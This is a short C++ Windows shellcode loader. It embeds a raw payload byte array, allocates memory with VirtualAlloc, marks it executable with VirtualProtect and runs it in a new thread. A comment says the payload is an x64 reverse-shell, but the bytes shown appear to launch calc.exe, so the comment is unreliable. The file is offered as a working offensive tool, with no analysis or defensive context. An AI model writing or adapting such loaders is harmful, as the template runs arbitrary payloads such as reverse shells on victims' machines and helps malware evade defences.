simplewindowsloader.cpp

#include <windows.h>
#include <stdio.h>

int main() {

	// use payload/windows/x64/shell_reverse_tcp
	// generate -f c
	unsigned char payload[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";



	LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (!alloc_mem) {
		printf("Failed to Allocate memory (%u)\n", GetLastError());
		return -1;
	}

	MoveMemory(alloc_mem, payload, sizeof(payload));
	//RtlMoveMemory(alloc_mem, payload, sizeof(payload));


	DWORD oldProtect;

	if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
		printf("Failed to change memory protection (%u)\n", GetLastError());
		return -2;
	}


	HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
	if (!tHandle) {
		printf("Failed to Create the thread (%u)\n", GetLastError());
		return -3;
	}

	printf("\n\nalloc_mem : %p\n", alloc_mem);
	WaitForSingleObject(tHandle, INFINITE);
	getchar();
	// or

	//((void(*)())alloc_mem)();

	return 0;
}